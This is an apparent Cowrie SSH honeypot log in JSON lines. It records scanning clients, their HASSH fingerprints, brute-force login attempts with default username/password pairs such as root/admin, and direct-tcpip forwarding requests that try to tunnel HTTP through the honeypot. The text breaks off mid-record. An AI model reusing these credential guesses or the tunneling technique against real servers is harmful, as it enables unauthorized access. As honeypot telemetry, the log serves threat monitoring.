{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:39:37.463709Z","src_ip":"43.245.143.215","session":"bb7448255452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marco","password":"marcopass","message":"login attempt [marco/marcopass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:39:38.597038Z","src_ip":"43.245.143.215","session":"bb7448255452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:39:39.875641Z","src_ip":"43.245.143.215","session":"bb7448255452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.173.141","src_port":42348,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fb45cbd0168","protocol":"ssh","message":"New connection: 165.154.173.141:42348 (10.17.0.5:22) [session: 6fb45cbd0168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:00.715417Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:01.391718Z","src_ip":"165.154.173.141","session":"6fb45cbd0168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.173.141","src_port":42582,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9577a4f02b1","protocol":"ssh","message":"New connection: 165.154.173.141:42582 (10.17.0.5:22) [session: b9577a4f02b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:01.484664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:01.525922Z","src_ip":"165.154.173.141","session":"b9577a4f02b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"ec9ea89c70f5fc71cf61061bff5e4740","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: ec9ea89c70f5fc71cf61061bff5e4740","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:01.534778Z","src_ip":"165.154.173.141","session":"b9577a4f02b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:01.704863Z","src_ip":"165.154.173.141","session":"b9577a4f02b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.173.141","src_port":43018,"dst_ip":"10.17.0.5","dst_port":22,"session":"1307d7c3c9f9","protocol":"ssh","message":"New connection: 165.154.173.141:43018 (10.17.0.5:22) [session: 1307d7c3c9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:02.784793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:02.817404Z","src_ip":"165.154.173.141","session":"1307d7c3c9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:02.822210Z","src_ip":"165.154.173.141","session":"1307d7c3c9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:02.992998Z","src_ip":"165.154.173.141","session":"1307d7c3c9f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":35470,"dst_ip":"159.203.135.109","dst_port":22,"session":"817bc75a48c3","protocol":"ssh","message":"New connection: 45.148.10.121:35470 (159.203.135.109:22) [session: 817bc75a48c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:38.514438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:38.519904Z","src_ip":"45.148.10.121","session":"817bc75a48c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:38.599951Z","src_ip":"45.148.10.121","session":"817bc75a48c3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:38.840234Z","src_ip":"45.148.10.121","session":"817bc75a48c3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:38.922933Z","session":"817bc75a48c3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:39.014410Z","src_ip":"45.148.10.121","session":"817bc75a48c3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:39.018575Z","src_ip":"45.148.10.121","session":"817bc75a48c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:39.528368Z","src_ip":"45.148.10.121","session":"817bc75a48c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":35472,"dst_ip":"159.203.135.109","dst_port":22,"session":"39f544ee420a","protocol":"ssh","message":"New connection: 45.148.10.121:35472 (159.203.135.109:22) [session: 39f544ee420a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:39.606352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:39.616353Z","src_ip":"45.148.10.121","session":"39f544ee420a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:39.691812Z","src_ip":"45.148.10.121","session":"39f544ee420a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:40.020532Z","src_ip":"45.148.10.121","session":"39f544ee420a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:40.106154Z","session":"39f544ee420a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:40.199606Z","src_ip":"45.148.10.121","session":"39f544ee420a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:40.203259Z","src_ip":"45.148.10.121","session":"39f544ee420a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:40.290811Z","src_ip":"45.148.10.121","session":"39f544ee420a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59528,"dst_ip":"159.203.135.109","dst_port":22,"session":"07a4b2d7fc9c","protocol":"ssh","message":"New connection: 195.178.110.218:59528 (159.203.135.109:22) [session: 07a4b2d7fc9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:53.880992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:53.885994Z","src_ip":"195.178.110.218","session":"07a4b2d7fc9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:53.966257Z","src_ip":"195.178.110.218","session":"07a4b2d7fc9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:54.204264Z","src_ip":"195.178.110.218","session":"07a4b2d7fc9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:40:55.292836Z","src_ip":"195.178.110.218","session":"07a4b2d7fc9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.143.215","src_port":53298,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6dca5a834b1","protocol":"ssh","message":"New connection: 43.245.143.215:53298 (159.203.135.109:22) [session: c6dca5a834b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:41:48.086446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:41:48.091541Z","src_ip":"43.245.143.215","session":"c6dca5a834b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:41:48.387370Z","src_ip":"43.245.143.215","session":"c6dca5a834b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teaspeak","password":"password","message":"login attempt [teaspeak/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:41:49.602181Z","src_ip":"43.245.143.215","session":"c6dca5a834b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:41:50.899348Z","src_ip":"43.245.143.215","session":"c6dca5a834b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33304,"dst_ip":"159.203.135.109","dst_port":22,"session":"02431c5ddb0c","protocol":"ssh","message":"New connection: 195.178.110.218:33304 (159.203.135.109:22) [session: 02431c5ddb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:43:35.428412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:43:35.433218Z","src_ip":"195.178.110.218","session":"02431c5ddb0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH 